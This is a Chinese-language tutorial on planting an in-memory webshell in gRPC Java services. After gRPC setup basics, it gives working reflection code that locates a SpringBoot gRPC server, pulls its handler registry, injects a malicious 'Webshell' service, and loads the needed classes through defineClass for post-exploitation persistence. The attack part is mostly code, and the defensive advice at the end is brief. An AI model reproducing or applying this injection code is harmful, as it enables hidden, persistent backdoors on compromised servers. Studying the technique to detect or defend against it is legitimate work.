gRPC Java 内存马模拟实战
字数 1824 2025-08-06 18:08:01
gRPC Java 内存马模拟实战教学文档
一、gRPC基础概念
1.1 gRPC简介
gRPC是一个高性能、开源、通用的RPC框架,由Google推出,基于HTTP/2协议标准设计开发,默认采用Protocol Buffers数据序列化协议,支持多种开发语言。
主要特性:
- 强大的IDL:使用ProtoBuf定义服务
- 多语言支持:能基于语言自动生成客户端和服务端功能库
1.2 ProtoBuf协议
- proto3是grpc的协议定义,文件后缀为.proto
- 服务定义需要特定的接口定义语言(IDL)完成
- gRPC默认使用protocol buffers
二、gRPC Java项目搭建
2.1 项目配置
- 创建Maven项目,packaging必须为jar
- 在main目录下新建proto目录存放.proto文件
- pom.xml关键配置:
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<protobuf.version>3.19.4</protobuf.version>
<grpc.version>1.50.2</grpc.version>
</properties>
<dependencies>
<dependency>
<groupId>com.google.protobuf</groupId>
<artifactId>protobuf-java</artifactId>
<version>${protobuf.version}</version>
</dependency>
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-all</artifactId>
<version>${grpc.version}</version>
</dependency>
</dependencies>
<build>
<extensions>
<extension>
<groupId>kr.motd.maven</groupId>
<artifactId>os-maven-plugin</artifactId>
<version>1.6.2</version>
</extension>
</extensions>
<plugins>
<plugin>
<groupId>org.xolstice.maven.plugins</groupId>
<artifactId>protobuf-maven-plugin</artifactId>
<version>0.6.1</version>
<configuration>
<protocArtifact>com.google.protobuf:protoc:3.14.0:exe:${os.detected.classifier}</protocArtifact>
<pluginId>grpc-java</pluginId>
<pluginArtifact>io.grpc:protoc-gen-grpc-java:${grpc.version}:exe:${os.detected.classifier}</pluginArtifact>
<protoSourceRoot>${project.basedir}/src/main/proto/</protoSourceRoot>
<outputDirectory>${project.basedir}/src/main/java/</outputDirectory>
<clearOutputDirectory>false</clearOutputDirectory>
</configuration>
<executions>
<execution>
<goals>
<goal>compile</goal>
<goal>compile-custom</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
2.2 定义proto文件
示例user.proto文件内容:
syntax = "proto3";
package protocol;
option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";
message User {
int32 userId = 1;
string username = 2;
sint32 age = 3;
string name = 4;
}
service UserService {
rpc getUser (User) returns (User) {}
rpc getUsers (User) returns (stream User) {}
rpc saveUsers (stream User) returns (User) {}
}
2.3 生成Java代码
执行命令:
mvn protobuf:compile
mvn protobuf:compile-custom
三、gRPC服务端与客户端实现
3.1 服务端实现
- 继承UserServiceGrpc.UserServiceImplBase并重写方法
- 编写Server启动代码:
public class NsServer {
public static void main(String[] args) throws IOException, InterruptedException {
int port = 8082;
Server server = ServerBuilder.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
System.out.println("server started, port : " + port);
server.awaitTermination();
}
}
3.2 客户端实现
public class NsCilent {
public static void main(String[] args) {
User user = User.newBuilder().setUserId(100).build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host,port)
.usePlaintext().build();
UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub =
UserServiceGrpc.newBlockingStub(channel);
User responseUser = userServiceBlockingStub.getUser(user);
System.out.println(responseUser);
Iterator<User> users = userServiceBlockingStub.getUsers(user);
while (users.hasNext()){
System.out.println(users.next());
}
channel.shutdown();
}
}
四、gRPC内存马原理分析
4.1 核心注入点
addService()最终执行io.grpc.internal.InternalHandlerRegistry$Builder#addServicethis.services和this.map保存了所有service和methods
4.2 初始化流程
- 通过
ServerBuilder.forPort(port)获取ServerBuilder对象 - 调用
InternalHandlerRegistry$Builder#addService添加services - 调用
InternalHandlerRegistry$Builder#build解析接口映射,初始化map - 返回初始化好的InternalHandlerRegistry
- 调用start()启动监听
4.3 内存马实现条件
- 能够获取到services列表
- 能创建自定义services接口
- 能把自定义的service加入到内存中
五、实战环境分析
5.1 两种常见场景
-
单独使用gRPC:
- 已有gRPC客户端可正常访问服务端
- 服务端存在RCE漏洞可执行Java代码
- 处理线程名:grpc-default-executor-0
-
gRPC+SpringBoot:
- 使用grpc-server-spring-boot-starter
- SpringBoot管理gRPC的bean
- 可通过web请求上下文获取gRPC的server对象
5.2 注入代码实现(SpringBoot+gRPC示例)
5.2.1 获取ServerImpl对象
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = new Thread[group.activeCount()];
String status = "";
group.enumerate(threads);
for (Thread t : threads){
if (t.getName().startsWith("grpc-server-container")){
System.out.println("found grpc-server-container: ");
System.out.println(t.getName());
Field target = Thread.class.getDeclaredField("target");
target.setAccessible(true);
Object o = target.get(t);
Field[] ff = o.getClass().getDeclaredFields();
ff[0].setAccessible(true);
GrpcServerLifecycle grpcServerLifecycle = (GrpcServerLifecycle)ff[0].get(o);
Field server = GrpcServerLifecycle.class.getDeclaredField("server");
server.setAccessible(true);
ServerImpl serverimpl = (ServerImpl) server.get(grpcServerLifecycle);
inject(serverimpl);
status = "inject success";
break;
}
}
5.2.2 获取已注册services
// 从server中获取registry
Field registry = server.getClass().getDeclaredField("registry");
registry.setAccessible(true);
Object handlerRegistry = registry.get(server);
// 从registry获取services和methods
Class InternalHandlerRegistry = Class.forName("io.grpc.internal.InternalHandlerRegistry");
Field services = InternalHandlerRegistry.getDeclaredField("services");
services.setAccessible(true);
List<ServerServiceDefinition> ser = (List<ServerServiceDefinition>)services.get(handlerRegistry);
Field methods = InternalHandlerRegistry.getDeclaredField("methods");
methods.setAccessible(true);
Map<String, ServerMethodDefinition<?, ?>> meth =
(Map<String, ServerMethodDefinition<?, ?>>)methods.get(handlerRegistry);
5.2.3 创建恶意service并注入
// 初始化恶意Server对象
Server hr = ServerBuilder.forPort(8082).addService(new WebshellServiceImpl()).build();
Object hr_registry = NsServer.getField(hr, "registry");
List<ServerServiceDefinition> webshell_ser_list =
(List<ServerServiceDefinition>)services.get(hr_registry);
Map<String, ServerMethodDefinition<?, ?>> webshell_meth =
(Map<String, ServerMethodDefinition<?, ?>>)methods.get(hr_registry);
// 浅拷贝并添加恶意接口
List<ServerServiceDefinition> new_ser = new ArrayList<>(ser);
Map new_meth = new HashMap(meth);
for (ServerServiceDefinition ssd : webshell_ser_list){
new_ser.add(ssd);
}
for (String key : webshell_meth.keySet()){
new_meth.put(key,webshell_meth.get(key));
}
// 反射替换registry的services和methods
services.set(handlerRegistry, new_ser);
methods.set(handlerRegistry, new_meth);
六、动态加载类问题解决
6.1 类加载问题
- 自定义类加载器加载的类不在JVM缓存中
- 后续加载的类无法依赖前面动态加载的类
6.2 解决方案
使用当前线程的ClassLoader进行动态加载:
Method define = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class c1 = (Class) define.invoke(this.getClass().getClassLoader(),
className, bytes, 0, bytes.length);
6.3 依赖加载顺序
gRPC内存马最少需要加载9个class文件,且有严格加载顺序:
- Webshell$Builder
- Webshell
- WebshellOrBuilder
- WebshellRequest
- WebshellRequest$Builder
- WebshellRequestOrBuilder
- WebshellResponse
- WebshellResponse$Builder
- WebshellResponseOrBuilder
七、总结与思考
7.1 技术要点
- gRPC服务注册机制可被利用注入恶意服务
- 需要反射修改InternalHandlerRegistry中的services和methods
- 动态加载类需要解决依赖问题
7.2 实际利用限制
- 动静较大,需要预先生成代码
- 需要逐个加载多个类文件
- 需要编写专门的gRPC客户端利用内存马
- 相对于权限维持目标,实现成本较高
7.3 防御建议
- 监控gRPC服务的动态修改
- 限制反射调用权限
- 对gRPC服务进行完整性校验
- 实施严格的类加载控制